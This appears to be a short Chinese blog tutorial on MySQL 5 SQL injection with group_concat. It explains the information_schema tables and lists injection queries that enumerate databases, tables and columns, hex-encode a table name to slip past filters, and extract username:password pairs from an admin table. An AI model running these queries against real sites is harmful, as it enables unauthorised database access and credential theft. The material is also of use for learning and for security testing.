mysql 5注入中group_concat的使用

最新推荐文章于 2024-05-28 20:11:32 发布

iteye_11341

最新推荐文章于 2024-05-28 20:11:32 发布

阅读量94

点赞数

文章标签：数据库

本文详细介绍了MySQL中的information_schema结构，包括schemata、tables、columns表的存储信息，并探讨了如何利用这些信息进行注入攻击。通过构造特定的SQL查询语句，可以获取数据库系统的敏感信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

mysql中的information_schema 结构用来存储数据库系统信息

information_schema 结构中这几个表存储的信息，在注射中可以用到的几个表。　

| SCHEMATA ――>存储数据库名的，

|——>关键字段：SCHEMA_NAME，表示数据库名称

| TABLES ――>存储表名的

|——>关键字段：TABLE_SCHEMA表示表所属的数据库名称；

TABLE_NAME表示表的名称

| COLUMNS ――>存储字段名的

|——>关键字段：TABLE_SCHEMA表示表所属的数据库名称；

TABLE_NAME表示所属的表的名称

　　　　COLUMN_NAME表示字段名

可以看到，我们只要通过注射点构造查询语句遍相关字段，就可以得到我们想要的信息了。

爆所有数据名

select group_concat(SCHEMA_NAME) from information_schema.schemata

得到当前库的所有表

select group_concat(table_name) from information_schema.tables where table_schema=database()

得到表中的字段名将敏感的表进行16进制编码adminuser=0x61646D696E75736572

select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572

得到字段具体的值

select group_concat(username,0x3a,password) from adminuser